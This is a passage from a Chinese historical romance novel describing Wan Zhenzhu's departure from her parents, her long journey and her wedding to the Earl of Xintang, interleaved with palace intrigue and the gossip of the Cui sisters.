牛二囡一样,她也是努力的扬了笑意,对女儿说道:“仙寿恒享,儿孙满堂。” “望我儿,一辈子平安无恙。” “望我儿,一辈子称心如意。” 万忠良夫妻二人,一人又说了一番的心意。 等着外面的管事来禀话,迎亲的队伍来了。 使节那儿,自然也是打点好了。 此时的万忠良与妻子一道,一道在女儿给二人磕头后。 夫妻亲自搀扶起女儿。 按规矩,万珍珠被洪福帝册封为公主。国礼在上。 可万珍珠想着这一去,又是经年再难见着爹娘。 于是她磕头了。诚心实意。 给亲爹亲娘磕头,理所当然。对于万珍珠而言,这一别,真想快些再见面。 等出了大厅。在外面,有使节团的随嫁嬷嬷等宫人。 万珍珠知道,这些人全是亲爹给挑的。 她们的出身,皆是苦命人。与万珍珠做了陪嫁,也是求了后半辈子的安生。 对此,万珍珠是乐意的。她信了亲爹的安排。 又或者说万珍珠也盼着身边得了助力与心腹,这些人肯定是信任之辈。 公主仪仗,从此而始。 万珍珠戴着凤冠,这一刻,她在喜娘搀扶下也是昂着头颅。 哪怕落泪了,万珍珠还想哭得美美的。 手握着扇,遮了半面容貌。万珍珠一步一步的走出大堂,走过院堂。 一直到她瞧见了来迎亲的赵济世。从今而后,她与他的命运真正的相连在一起。 夫妻同心?得见将来如何。 命运一起,却是世道的安排。又或者是二人的自愿。 “佳儿佳妇,佳偶天成。” “天作之合,白头到老。” 万忠良和牛二囡当着赵济世的面,又是感念一回喜庆之日。 二人还是亲自说了祝福的话。 “儿婿叩谢岳父大人,岳母大人嫁了千金予我。” “在我心中,二老不止是高堂大人,亦是一心一意要孝顺的爹娘。” 赵济世的态度一如既往。 万忠良瞧着满意。牛二囡在旁边,她还想多握一握女儿的手。 可这会儿万忠良听了管事的话,道:“吉日到,安排吧。” “唯。” 万珍珠在这一刻,她与赵济世一道,再向爹娘盈盈一礼。 尔后,起身,往喜轿而去。 坐于喜轿上,听着外面的吹吹打打。再听着路人的贺彩声。 万珍珠只是听着。 明明心头欢喜,嫁与良人。可又不舍,舍不得爹娘亲人。 心情复杂,万般滋味。让万珍珠尝着了人生两难。 又或许,还是欢喜多一点点。毕竟,往后余生,她还会接了爹娘到跟前孝顺。 人生路,漫漫长。 在万珍珠的心里,未来总会更好的。 登了喜轿,在公主府外,使节团随行。长长的出嫁队伍,很长很长。 这一条队伍不是往了城门方向,而是绕了路,往宫门而去。 等到宫门了,万珍珠与赵济世一道又进了一回宫廷。 这一次,万忠良夫妻未再相随。 万珍珠见到了洪福帝。只是远远的,她和赵济世向洪福帝参拜了大礼。 帝王开口,赐了赏,又给万珍珠添了嫁妆。 尔后,在小黄门喊了吉时到。 万珍珠与赵济世又被送出了宫廷。来一趟,见一面天子,叩谢一回天恩。 这一回,又是一道赐婚的圣旨。那圣旨,万珍珠一一入耳。 却又一时之间,恍然出神。 等着回神时,她坐于喜轿内,喜轿不是人抬的。 或者说这是一辆出嫁的马车。 马车,在长长的队伍里。万珍珠是盛妆打扮着。 明明很累,可一切还得忍着。因为这一条路很长,从镐京都去往了燕京都,太过漫长。 大晋朝,镐京都,内城,浑江公主府。 “珍珠走了。”牛二囡坐于椅子上,她一时间愣神在那儿。 “走了。”万忠良回道。 “走吧,我陪陪你。”万忠良瞧着妻子,唤话道。 “好。”牛二囡被唤一声,才像是愣着的木头一样,一下子回过神来。 夫妻二人在花园子慢慢的走着。牛二囡忍不住的说道:“往常珍珠一直在我的眼皮子底下。她一走,我真不习惯。” “慢慢的,会习惯。”万忠良说道。 “可公主府里没了珍珠,我总觉得缺一点什么。”牛二囡回道。 万忠良回道:“一切会好的。待珍珠怀了孩子,一切都会好的。” “对,对,我还要给孙儿孙女备了礼物。”牛二囡也说道。 话题转到下一辈的身上,牛二囡的精气神又好起来。 万忠良的目光望向了宫城方向。 对于万忠良而言,为了女儿的出嫁。他舍了太多的心腹。 想培养这些人手不容易。特别是要陪了女儿远嫁的人手。 这等合适的人选更难挑着。一旦挑着出来,万忠良花的功夫很深。 想着出嫁的女儿,万忠良让自己开心一点。毕竟今个可是女儿的好日子。 大赵朝,燕京都,崔府。 崔九姑娘瞧着姐姐在发呆。她忍不住问道:“姐姐,你有心事。” “对啊,妹妹法眼利害,一眼就瞧出来。”崔八姑娘收起发散的思绪,她笑着回了妹妹的话。 “快,姐姐给说说。”崔九姑娘好奇着。 “没什么大事。就是想着秋日快过去了。冬天快来了。天凉了,一场雪后,寒梅盛开。我等可以办了赏梅宴。” 崔八姑娘说起赏梅宴,崔九姑娘的心情更好。 “好啊,煮雪吃茶,吟诗做画。再赏一赏冬日傲霜雪的寒梅。”崔九姑娘开开心心。 “姐姐,我听着一桩事情。”崔九姑娘说道:“听说,那新唐县伯出使大晋去了。” “姐姐,你说这人是不是得罪谁,才被人一脚踢开。”崔九姑娘就差说,这人得罪崔氏一族。 “瞧着,也怪可怜。不过想必也是活该吧。”崔九姑娘有一点幸灾乐祸的小表情。 崔八姑娘心肝颤抖一下。 “妹妹莫要胡说。新唐县伯是陛下的心腹重臣。岂能乱讲,没得招了麻烦事情。”崔八姑娘劝一回妹妹。 “女子名声,贞静为好。妹妹,可不能添了多舌之诫。”崔八姑娘劝一回亲妹妹。 “知道了。”崔九姑娘笑一回,还是摇一摇姐姐的胳膊。 “我就在姐姐跟前多嘴罢了。在旁人跟前,我岂是会犯了多舌之诫。” 崔九姑娘表示她是明白人,她可聪明着。 崔九姑娘会讲这一番的话,不外乎,她就是想瞧一瞧新唐县伯的笑话。 谁让崔九姑娘偶然一回,偷偷听着爹娘的谈话。 崔九姑娘知道亲姐姐被人拒婚一事,让崔九姑娘恨得牙痒痒的。 在她心里,姐姐多好,凭何让人嫌弃。 搁崔九姑娘心里,那新唐县伯太不识趣。不止如此,一个年纪那么大的男子还不成婚。 哼,崔九姑娘的心里没少蛐蛐。她觉得,这人一定有病,还是病得不轻。 “姐姐,不提那新唐县伯,没得扰了我们姐妹的好兴致。”崔九姑娘转移话题。 “我听说,孔四姑娘要办了及笄礼。”崔九姑娘又提一事。 燕京都里,各府上的姑娘们自然有自己的小圈子。 崔氏人丁多,各房上下,不止男丁多,女郎亦多。 只是各房的情况不同,嫡庶枝脉之间,差别也甚大。 崔九姑娘出身于嫡房,她来往的手帕交,那自然是家世一样的不凡。 “孔四姑娘……”崔八姑娘愣神片刻。 “及笄之礼,人生大事,不可轻乎。”崔八姑娘笑道:“说来,年底之时,妹妹的及笄礼也至。娘说了,妹妹这儿,也一定要喧赫一回呢。” “听姐姐这般一说,我就知道了,娘一定是心疼我的。”崔九姑娘笑得很开心。 第65章 大晋朝,镐京都,皇宫,宫廷内苑。 淑阳公主跟身边的陪嫁李嬷嬷问道:“本宫没记错,新唐县伯今个当离开镐京都,起程回燕京都了吧?” “殿下,您没记错。”李嬷嬷忙说道。 “今个可是一个好日子。”淑阳公主又道。 “奴婢愚笨。”李嬷嬷忙陪笑道:“还请殿下提示一二,今个是哪一个好日子?” 李嬷嬷思来想去,真没思量出来,今天有什么喜事吗? “今个是新唐县伯成婚的大喜日子。”淑阳公主提醒一回。 “对,对,奴婢居然忘记了这一件要紧的事情。奴婢糊涂。”李嬷嬷忙认错。 “本宫在宫廷内苑,这一辈子想出宫门难着。瞧不见新唐县伯与浑江公主成婚的大喜事。莫说嬷嬷忘了,便是本宫也差一点忘了。” 淑阳公主的语气淡然。 “殿下,您可是记挂着新唐县伯回了燕京都,把您的家书呈于陛下。”李嬷嬷思来想去,倒是琢磨着这一桩事情。 “本宫自然念着皇兄。”淑阳公主笑道:“可在意嘛,也不止这一桩。” 淑阳公主挥挥手,让殿内侍候的宫人退下。此时,独留下李嬷嬷一人。 殿内,除二人外,再无旁人。 淑阳公主说道:“嬷嬷,浑江公主是万内相的亲生女儿。万内相岂能不心疼这一个唯一的子嗣。偏生浑江公主远嫁,还是嫁去了燕京都。” 淑阳公主先摆事实,尔后,又讲道理,她道:“燕京都在东边,离镐京都太远。燕京都的主人是本宫的皇兄。皇兄在上,一言而决了新唐县伯的前程。嬷嬷说说,如此,本宫背后的人脉是不是多添了万内相一人。” 以亲情入手,在淑阳公主的眼中,浑江公主嫁去燕京都。 在宫廷内苑,这就是给她添了人脉,让她拿捏了万内相的软肋嘛。 “殿下聪慧,奴婢愚笨,一时可没想着这一桩要紧处。”李嬷嬷这会儿忙回道。 “在宫廷内苑,若得万内相的帮衬。殿下,您的将来,一片坦途。”李嬷嬷这会儿挺开心。 “是啊,如嬷嬷吉言,本宫的将来一片坦途。”淑阳公主很高兴。 在宫廷内苑,不得宠也罢了。反正凭着和亲公主的身份。淑阳公主应该享受的待遇,没谁苛刻。 可淑阳公主不甘心,淑阳公主还想更进一步。 生于宫廷,长于皇家,淑阳公主太懂一个道理。那便是不得宠的人,可能连呼吸都是错的。 既然想争,既然要争,淑阳公主当然更想做了大赢家。 只要有一点筹码,淑阳公主也想拿捏了。 淑阳公主跟前侍候的人,除了李嬷嬷外,旁的也多是她陪嫁。 不是陪嫁的话,那一定不得淑阳公主的信任,更是难在淑阳公主跟前露脸。 凭此,淑阳公主这些年里,也是过得惬意。 只宫廷内苑,人心复杂。或者说一旦离开舒适区,人的心意会变得。 忠诚几何,背叛几何?不过是看利益的多寡。 不背叛,更可能是利益不够大。 大晋,还在顺天府的地界。 这一日,长长的队伍并没有走太快,在一处驿站停了下来。 万珍珠和赵济世的婚礼,在镐京都里有一场热闹。 如今,还待至燕京都后,八方迎客,赫赫扬扬,又是一场盛大的婚宴。 此时,赵济世早差心腹往燕京都提前赶回。 至于燕京都那一边,婚礼会如何? 赵济民是一点不担忧。他的兄弟多,他相信自己的义弟们。 关乎这做大哥的终身大事,弟弟们会替他盯紧。 可没人会在这等事情上打了马虎眼儿。 “万妹妹 ……“赵济世在暂居的房内,瞧见了执了扇的万珍珠。 “赵大哥……”万珍珠眉眼弯一弯。这是扬了一抹笑意。 “我们成婚了,赵大哥可唤我一声珍珠,又或者一声妹妹。”万珍珠笑道。 “珍珠妹妹。”赵济世从容唤了人。把万珍珠给的称呼合二为一。 万珍珠一听,也是笑了,她笑道:“济世哥哥。” 二人是不是唤得肉麻一点。万珍珠不在意。 其时这般唤人,还是头一回。万珍珠还觉得有一点新鲜感觉。 赵济世挺受用,被人唤一声“济世哥哥”这是平生的头一回。 “今天暂时留宿于此。后面的日子,还要让珍珠妹妹受累了。”赵济世讲道。 “我坐于马车内,济世哥哥乘马行千里。济世哥哥才受累了。”万珍珠笑道。 二人各关心一番,尔后,赵济世告辞离开。 二人不久谈,也是避免一二。谁让二人的婚礼才进行在半途中呢。 大晋朝,镐京都,皇宫。 次日,万忠良回来当差。一进职房,干儿子来给万忠良禀了新消息。 听着干儿子禀明的事情,万忠良沉默片刻。 “李贵妃倒是好胃口,还想吞了咱不成。让咱做刀子,咱这一把刀子可锋利着。”万忠良冷漠的提了这一番话。 今个离府前,万忠良与妻子一起用饭。朝食,那是用得寡淡些。 万忠良瞧得出来,妻子牛二囡用饭时,那都用得不怎么香甜。 万忠良也一样。回了公主府,少了其真正的主人之一。 那家里缺一人,感觉总归不好受。 奈何人生大事,万忠良总不能留了闺女一辈子,还让闺女不成婚? 那当然不成。万忠良还想着小一辈的降生。 子子孙孙,无穷匮也。 “差人继续盯紧,咱还想看一看,李贵妃又有几分高招。”万忠良吩咐一句。 “唯。”干儿子忙应话。 在万忠良心里,他不怕甚的李贵妃。想那李贵妃要拿了亲闺女当把柄,还想拿捏他万忠良。 凭甚? 真是脑子糊涂。 当初万忠良为何要在洪福帝跟前卖惨。除了想让天子看着他的忠心外。 更是为着如今的情况做准备。不外乎,那就是让一些人知道。 他万忠良的女儿“恋爱脑”,一心想嫁了如意的心上人。 这不,远嫁亦无所谓。如此情况下,万忠良在洪福帝跟前挣一波的补偿。 同时,也是在敲打一些想伸的手,亲闺女是血脉骨肉不假。 可想拿捏他这一位万内相,那不成的。 比天子一比,万内相的心里,亲闺女也要让一射之地。 万内相的做派光明正大,压根儿没想瞒人。 如此,这会儿的万内相又吩咐一回干儿子。 他道:“咱的亲闺女,咱是在乎的。可这一个孩子脾气太倔强,这一回的婚事,也让咱伤心,伤透心。” “依咱看,还是陛下心疼咱这一个家奴。咱这一辈子的指望,全在陛下跟前当好差。旁的,强求不来。” 万忠良这话说的,那就是说给干儿子听。 “你让人点一点,莫让李贵妃真犯蠢。真闹出事情来,咱也头疼。” 有万忠良的吩咐,干儿子又应一回话。 宫廷内苑,做为天子跟前的心腹。被人尊为内相。 万忠良在宫廷内苑的势力很大。 哪怕淑阳公主的跟前全是陪嫁,全从燕京都带来。 那又如何?在权势在前,在诱惑面前,还是有人背叛了淑阳公主。 又或者说筹码够了,利益够了,也谈不上背叛,不过是寻了一个更好的前程。 宫廷内苑。 李嬷嬷这一位淑阳公主的陪嫁,近日,又听着一些风声。 李嬷嬷一心效忠公主,一心一意替公主着想。 于是琢磨一回后,李嬷嬷把听来的风声讲给淑阳公主听一听。 “内相大人一心忠于大晋天子,待亲女儿倒是伤透了心?”淑阳公主本来不怎么相信。 可是转念一想后,淑阳公主又相信几分。 “父女情薄……”淑阳公主呢喃一回。这时候的淑阳公主想到自己。 当初听着燕京都的大变故,知道自己的亲皇兄登基称帝时。 淑阳公主只有高兴。 至于父皇退位做了太上皇,淑阳公主背地里还是乐了好长一段日子。 在淑阳公主的心里,父皇是生父,可是亲不过嫡亲的兄长李明弘。 谁让父皇偏心,那偏心眼儿的让淑阳公主一样是伤透了心。 做了和亲公主,远离燕京都,这一辈子都没可能回去。 如此,淑阳公主早搁下跟父皇的父女之情。 在心底,淑阳公主更在意了亲兄长李明弘。 “……”李嬷嬷听见公主殿下的呢喃四字,她愣在当场。 李嬷嬷讷讷不敢多言。公主心结在哪? 李嬷嬷多年侍候淑阳公主,她哪能不知道。 李嬷嬷就是太知道了。 于此,李嬷嬷才不敢多嘴。李嬷嬷这会儿恨不能自己是哑巴聋子。 能不多说一字,李嬷嬷一定闭口不言。 此时的淑阳公主也没指望谁多嘴多舌。淑阳公主又冷淡的笑了笑,笑意不入眼底。 淑阳公主说道:“本宫跟浑江公主倒是有一番相似之处,又有一番不似之处。” “本宫与父皇情薄,父皇千万心疼的人儿里,偏生就缺了本宫一人。本宫不得父皇疼爱啊。” 淑阳公主念着此事,心伤不已。 “那浑江公主也是傻子,心心念念什么心上人,愿意远嫁他国异乡,她也不怕,这一朝的感情错付了。”淑阳公主是羡慕嫉妒恨。 毕竟浑江公主是能嫁得心上人,还能如自己心意。 哪像她,连新娘的嫁衣都是穿不得。 和亲的公主,倒底不是中宫皇后,只不过是天子的嫔妃罢了。 李嬷嬷听着公主殿下的话,她就听着,当了倾听的观众。 “罢了,如今有这样的风声。本宫一时半会儿的也不着急了。”淑阳公主也想开了。 事情急不得,心急吃不了热豆腐。 淑阳公主准备缓一缓。她觉得万内相心疼亲生的女儿。 那么,待万内相过了这一茬后,总会念了亲情。 到时候嘛,淑阳公主觉得未必没有可趁之机。 大赵朝的疆域踏足时。对于赵济世而言,这路途已至半。 赵济世是欢喜的,因着离了燕京都越来越近。 至于坐马车的万珍珠,她觉得做新娘子不容易。 千里迢迢,这千山万水的走一遭。让万珍珠真累着。 坐久了马车,遭罪。 如今的马车太颠簸了。毕竟路太远,路途不平,那就没法子。只能忍一忍,再忍一忍。 大赵朝,燕京都,崔府。 崔九姑娘跟姐姐说道:“姐姐,可听着燕京都的消息,已传得沸沸扬扬。” 一知道有热闹,关乎小儿女的闺阁趣事,崔九姑娘也不在意了。 崔九姑娘更在意了,燕京都的一些谣言。 “妹妹有话,说来听听,我当一回观众,可评判一回呢。”崔八姑娘笑道。 崔九姑娘说道:“好叫姐姐知道,新唐县伯尚公主了。” “这事情够热闹着。”崔九姑娘说道。 “原来此事。”崔八姑娘也听着消息,她当然也知道的。 “便是尚公主,也不过大晋公主。跟尚了大赵公主不一样的,妹妹,这事情于新唐县伯而言,不会惹了什么麻烦。”崔八姑娘淡然的说道。 语气淡然,可在心湖上,崔八姑娘还是泛起来了波澜。 崔八姑娘有一点想不通,新唐县伯为何,那就宁可娶一位大晋公主,也不愿意与崔氏联姻。 公主高贵,那是大赵公主。他国公主,在大赵又不能带来更多的益处。 崔八姑娘真的想不通。 “姐姐既然知道,妹妹瞧着热闹在哪一处,姐姐也一定知道的,对吧。”崔九姑娘摇一摇姐姐的胳膊,那是娇嗔的讲道。 “你啊,就喜欢瞧热闹。”崔八姑娘笑道。 在跟妹妹说话时,崔八姑娘顺了妹妹的心意,也是说一回趣话。 可等着妹妹离开后,崔八姑娘是发愣了许多。 在窗前小榻边,崔八姑娘一直出神的坐着。 她就像是在发呆。一直过了许久,一直到母亲院里来人,寻她去正院坐一坐。 那会儿的崔八姑娘才是收揽心神,她去了一趟母亲贺夫人的屋子 。 母女二人一见面,崔八姑娘给母亲问安。 “我们娘儿俩说说话,来,到娘前坐坐。”贺夫人笑道。 此时的贺夫人挥挥手,打发走侍候的丫鬟婆子。 屋内,剩下母女二人。贺夫人瞧着亲生的女儿,瞧了孩子的眉眼。 在贺夫人的眼中,女儿哪一处都美好。 依着贺夫人瞧来,女儿心善人美,家世品貌样样拔尖。 这般好的女儿在婚事上,却让人挑剔了。 贺夫人哪能心平气和,特别是知道新唐县伯挑的那一位未来嫡妻人选后。 贺夫人心中更是冷笑连连。 “我儿,你可知那新唐县伯成婚了,那新娘子也是远嫁而来。再过一些日子,这一对新婚夫妻当回了燕京都。”贺夫人问了此事。 “略有耳闻。”崔八姑娘当然不会欺骗了母亲,实话实说。 “这事情闹得,让我儿心里难受了吧。”贺夫人说道:“娘知道那一位未来的伯夫人是谁时,娘也觉得难堪。” “娘,这难堪二字,从何说起?”崔八姑娘笑道:“未来的新唐县伯夫人,那也是大晋公主。堂堂公主,系出贵人,只有让人尊敬的份儿。” “公主,哼。”贺夫人冷哼一声。 “若那浑江公主出身于大晋皇室,不,哪怕是宗室女。我也敬她三分。”贺夫人的语气冷了三分。 “可那浑江公主的真正底细,我儿,你可能不知,为娘却是清楚。”贺夫人讲道:“那浑江公主既不是大晋皇室的公主,更不是大晋册封的宗室公主。而是一个太监的女儿。” “……”崔八姑娘愣在当场。 “娘,这是不是哪儿有问题。”崔八姑娘讲道:“太监不能成婚,又哪来的子嗣。” 哪怕是崔八姑娘这等没出嫁的女郎,那也知道身有缺陷。这一辈子是生不出来孩子的。 “浑江公主原姓万,那万氏女的生父是大晋天子跟前的太监,一个天家的奴才秧子。” 贺夫人的语气里有轻蔑。那轻蔑来自于骨子里。 “至于那万太监能有亲生的女儿,不过是成家生女后,才入宫当的太监。”贺夫人解释一回话道。 “原来如此。”崔八姑娘感慨一回。 “一个太监,能让天子动容,册封其亲生的女儿为公主。想那万太监当真了不得。”崔八姑娘还是赞一回。 “再是了不得,也不过一个无根之人。”贺夫人却是不已为然。 “我儿,那万氏女嫁给新唐县伯。她的身份早早晚晚保不住。到时候,新唐县伯夫妻二人被人议论。我儿,唉。”贺夫人不开心的事情。 那就在于,她怕崔家被人也在背后蛐蛐几回。 贺夫人是心疼亲闺女的。如此,她更想替亲闺女挑了合适的姻缘。 “娘又替你添了几门好姻缘的人选。您可仔细瞧瞧。”贺夫人转移话题。 关于浑江公主的出身,不过浅谈则止。贺夫人更在意她的亲生女儿,那将来要嫁如何的出众郎君。 崔八姑娘被母亲念叨一番。此时,哪怕不想,还是要顾念了母亲的心情。 只在正院里,崔八姑娘心里忐忑一番。最后,总是指了一回。也让母亲满意一回。 至于联姻一事?崔八姑娘同意的,其时,她一直都同意。 崔八姑娘善解人意,从来不想让母亲为难。 嫁不得心上人,那么,嫁给母亲安排的好人选。让母亲开心,这便是崔八姑娘的心思。 只从正院离开,回了自己住的小院后。 崔八姑娘又是走神一遭,她在自己住的屋子里发呆。 崔八姑娘是想不通,新唐县伯如何就想迎娶浑江公主。 思来想去,最后,崔八姑娘只想着一个答案。 “或者,这是两情相悦吧。”崔八姑娘想到。 “世间美好,真能长久吗?”崔八姑娘又想到自己母亲的话。 对于浑江公主是如何样的人物,崔八姑娘心生好奇。 对于新唐县伯的婚事,崔八姑娘在意。 可对于新唐县伯本人,崔八姑娘告诉自己,她当放下。 不是嘴里说说,而是真心放下。 世间人物,虽有美好,可不能占据。毕竟,不是事事都如意,切切都完满。 月有阴晴圆缺,太完美的,可能会留了更大的遗憾。 崔八姑娘就想在自己成婚前,那是瞧一瞧鼎鼎大名的浑江公主。 崔八姑娘就想知道了,她是输在哪一处。那浑江公主好不好? 崔八姑娘觉得一定很好。 若是浑江公主不好,新唐县伯还宁可娶了浑江公主,而不是迎娶她这一位崔氏女的话。 那么,那是新唐县伯眼瞎。 还是崔八姑娘一心瞧中了一个眼瞎之人,崔八姑娘自己岂不是显得更眼瞎? 问了真心话,崔八姑娘宁可浑江公主是一位优秀的淑媛。 如此,她就是输了,也输的心服口服。 大赵朝,燕京都。 在秋末,就在寒凉之气来了前,晚秋时节。浑江公主的长长出嫁队伍踏足了燕京都。 坐于马车内,万珍珠隔着车窗帘子,她能隐约的瞧一回外面如何。 又是陌生地,又遇陌生人。明明成婚,却又是选择了未来的人生路。 离着镐京都越远,知道跟爹娘再想见面,又要许多年后。 万珍珠心情复杂。 可她还是收拾了一番心情,踏入了燕京都的地界。 她和新唐县伯的婚事,那有使节呈于大赵天子。 这是大晋与大赵之间的两朝之事。 万珍珠这一位和亲“公主”,那水份太假了。 可水份再假,万珍珠总归是大晋天子册封的公主。 何况大晋天子的后宫里,还有大赵天子的亲妹妹李贵妃。 这些剪不断,理还乱的关系。那攀附于方方面面。 更不肖说,大晋大赵是盟友,至少是表面上的盟友。 两朝都有和亲公主出嫁,那自然也是一番说道,好说又好听。 万珍珠的马车被迎进了新唐县伯府。 万珍珠被喜娘搀扶进了马车。她要在此,又是小住一日。 明日会是一场盛大的婚礼。 又一场婚礼。万珍珠心情复杂。这一回,踏入此,她真的不能回头。 前路会如何,万珍珠只能交给命运。 是好,她就是开心的踏上去。是歹?也得自己走一走。 “殿下,伯府差人送了吃食来。”陪嫁嬷嬷进屋禀话道。 这会儿,万珍珠跟前的陪嫁丫鬟在替她卸妆。 此时的万珍珠就想轻省点。毕竟明个儿又是一日需要很认真,很认真的大喜日子。 第66章 “一拜天地。” “拜。” “二拜高堂。” “拜。” “夫妻对拜。” “拜。” 次日,大婚举行。万珍珠就像是木偶一般的随着喜娘的搀扶,尔后,听着唱词声,按着成婚的流程进行着。 大堂之内,非常热闹。宾客众多,赵济世的诸结义兄弟们与家眷一一帮衬着。 让这一场婚宴进行的非常顺利。至于高堂之上,因着赵济世的爹娘早逝。 于是能摆上的,只能是二老的牌位。 等着夫妻对拜一结束。在众多宾客的观礼中。 “却扇。” “礼 成。“这会儿又听得吉祥的祝词被人唱起来。 尔此时,万珍珠也是拿下遮了半张脸的扇子。 美人芙蓉面,似花开灿烂。在宾客中,自然有人夸赞了话。 落于赵济世的眼中,盈盈一笑,又低头的珍珠妹妹很美。 那一等美落于心湖上,泛起了点点的波澜。 万珍珠低了头颅,有一点点的害羞。尔后,又是仰起头。 明明是喜庆的日子,她当然是扬起了最好看的笑容。 “天作之合,天仙之配。” “鸳鸯同喜,同心同德。” “……” 宾客也罢,喜娘也罢,在场诸人谈笑之间,人人都说着溢美之词。 唯万珍珠扬起一抹笑容,盈盈笑着,不发一言。 笑,也是一种态度。 拜过天地,拜过高堂,夫妻对拜,礼成却扇。 尔后,喜娘搀扶了万珍珠,新郎官也是相送之下,夫妻二人往喜房而去。 待到喜房,自然有相伴的女眷来做陪客。 赵济世没有高堂与姐妹,那么,与万珍珠想做陪的便是各位在燕京都的弟妹。 这些弟妹,全是赵济世结义弟弟们的妻子。 “有劳诸位弟妹了。”赵济世对在场诸人行一礼,客气说一句,尔后,又对万珍珠笑语晏晏。 “珍珠妹妹,我去前面陪了诸位来宾。这儿,你也用些吃食垫一垫。” 赵济世笑着留下一番话,尔后,直往前堂而去。 万珍珠轻轻颔首,表示同意了。 待赵济世离开后,万珍珠这会儿见着面前的十二位女眷。 屋里女眷一多,万珍珠瞧着眼前的诸位女眷。 她们的容貌不算太出众,却是人人喜气洋洋。 “大嫂真俊。” “对,对,大哥迎娶大嫂,真是天仙配。” “……”诸女眷口中,万珍珠是被夸赞的一人。 “大嫂忙碌一日,肯定累着。”一位年岁最长的女眷说道:“我等备了吃食,嫂嫂先用些吧。” “对,对,二嫂说的在理。可不能饿着大嫂,不然,大哥要心疼嫂嫂了。” “……” 万珍珠听着诸人的话,轻轻颔首,笑道:“劳烦诸位弟妹了。” 在场诸人瞧着是好意,万珍珠当然不会拒绝了。 这会儿众人迎了万珍珠走几步,来到厅内。 厅内与寝屋陪着屏风。 在外面,桌上摆着各色的茶果点心。马义的媳妇,便是提议用吃食的沈氏,这会儿请万珍珠落坐。 同时,沈氏还是跟万珍珠介绍一回在场诸人。 万珍珠大略记一记,也是认了一回脸熟。 说是吃食,就是简单一点的面食。北方食面,这会儿填一填肚子。 简单用一小碗,肚里有吃食,万珍珠觉得整个人的胃都是暖暖的。 女眷们陪着万珍珠说一说趣事,说来说去,最多的还是夸赞了赵济世的好。 凭这些人的口中之言,落万珍珠耳里,真是听着赵济世的丰功伟业,那是处处都好,好的不得了。 对此,万珍珠受用了。 毕竟这一个世道就是如此,夫妻一体。可谓是一荣俱荣,一损俱损。 这些人夸了赵济世这一位新唐县伯,又何尝不是在夸耀了万珍珠这一位县伯夫人。 “早些年,大哥一直不成婚。谁不议论了,到如今,嫂嫂一过门,大家伙就知道原来大哥的姻缘在此。” “对,对,嫂嫂太好,大哥一直不成婚,可不是等了嫂嫂的出现。” “……” 万珍珠捂嘴笑一回。她得说,好话入耳,真是太中听了。 也难怪,人人都爱听好话。主要是听一听,乐一乐,肯定能多活了十来岁。 前院厅堂,各处来宾。赵济世做为东道主,他当然要敬酒一番,感激来宾的美意。 只是今个日子不同,可是赵济世成婚的大喜之日。 酒得饮,不然,那就是脱离了大家伙的美意。 可饮酒归饮酒,却不能过量了。于是诸位结义兄弟就出场,一一替赵济世这一位大哥挡一回酒。 酒至半场,赵济世是识趣的,随大流的装醉一回。 尔后,马义很知趣,差遣了小兄弟卢泰山搀扶大哥回后宅的喜房去。 至于马义,他还留着继续主持大局,还替大哥赵济世撑了场面。 毕竟在场的来宾里,可不是谁都是酒量小。有人爱喝,马义等人自然要奉陪。 总要让来宾喝一个尽兴,让大家伙做客,也是开开心心一回。 回了后宅,一过二门。 赵济世本来踉跄的脚步停了,他酒意没了。 “我无事。”赵济世摆脱了被小兄弟卢泰山搀扶的姿态。 “大哥,您这……”卢泰山瞧一场大变活人的戏码。 “我就装醉的。这可是老二的主意。”赵济世笑道。 “哦,原来是二哥的主意。也对,太对。”卢泰山连连点头。 “今个是大哥的大喜之日,我刚还愁,大哥醉了,我如何向嫂嫂交待?”卢泰山一本正紧的讲道。 “如今大哥没醉,真是太好了。”卢泰山是真开心。 赵济世没醉,那当然是大大方方的往喜房去。 进喜房,赵济世瞧着在场的一众女眷。他又行一礼,谢过诸位弟妹。 在场的诸位女眷避让一回。众人都是客客气气的态度。 沈氏领头,她讲道:“我等不耽搁大哥大嫂的好日子。我们先告退。” 沈氏是识趣的,这会儿领诸女眷一道告辞离开。 这会儿的万珍珠与赵济世一道,又是感激一回。 等诸女眷离开后,喜娘留着。这会儿的新婚之夜,还没礼成。 还有新婚之礼,由着喜娘来唱了祝词,来贺了新婚。 “同心同德,共饮祝酒。”喜娘亲自给二位新人送上的喜酒。 屋内,龙凤烛在燃着,各色的喜字都贴着。 那一派的喜气,可谓是惹了人眼,动了人心。 “交盏而饮,一心一意。” “鸳鸯盟首,百年同心。” “……” 喝过交杯酒,万珍珠的脸上染了一点点的酒意,红晕染开。 灯下望美人,越看越迷人。赵济世瞧着耳根子微红的珍珠妹妹,他笑得开心。 倒是喜娘这会儿也开开心心的继续唱祝词。 “又请新人坐,又请福禄来。” “洒帐同欢喜,儿女富贵多。” “……” 这会儿的洒帐礼在继续,万珍珠瞧着那些各色的干果子。 求着好兆头,求了好喻意。 喜娘在继续唱着祝词,万珍珠听着,她也心头期待,盼喜娘唱的祝词成真。 只赵济世握了万珍珠的手,握的紧紧的。 万珍珠感受着二人的十指交缠。她的脸更红了,似乎也更烫了。 这等时候的喜娘特别识趣。等着喜房的礼成。 喜娘领了丫鬟婆子一一告退离开。 隔壁的耳房内,早有人备了热水。这会儿的新婚夫妻可以沐浴一番,洗一回鸳鸯浴。 对此,赵济世没拒绝。 耳房内,有花香,有热水。一片袅袅雾气来。 水温适宜,最是解乏。 赵济世笑道:“珍珠妹妹,我替你宽衣……” 说是沐浴一回,对于二人而言,却也花了许多的时间。 最解心湖一点意,不过是二人同心。 这一场鸳鸯浴罢,二人回了喜房内。此时此刻,二人换了一身衣裳。 简单的里衣,不过就寝之时的衣着。至于那一身的新郎新娘的衣冠。 在洗了鸳鸯浴时,那全留在了耳房内。 灯亮着,床帐子放下。在灯光的映衬下,二人的影子交缠在了一起。 春宵一刻值千金,又是一场人间乐事。 次日。 万珍珠睡过了头,待她醒来时,枕畔有人。 “……”万珍珠一下子惊醒过来。 头一回枕畔有人,万珍珠醒来后,她恍然明白。 她成婚了,她有夫君了。所以,枕畔之人是谁?不言而喻。 “珍珠妹妹醒了。”赵济世问道。 万珍珠侧身,她瞧见了自家的夫君,她笑道:“济世哥哥,我是不是醒迟了?” 这会儿万珍珠已经瞧见,那貌似是天光大亮? “府内就你我夫妻二人做主,醒得迟不迟?还不是随你我二人之意。”赵济世不介意这醒得迟,还是醒得早。 赵济世成婚,他可有假期的。或者说趁着成婚之时,赵济世从燕京都的名利场上,还是慢慢的退几步。 赵济世可想瞧一瞧,从龙之功后,又有多少人想力争上游。 坐于龙椅上的天子又是何意? 做为天子心腹,做为新贵。赵济世太清楚自己的底蕴不足。 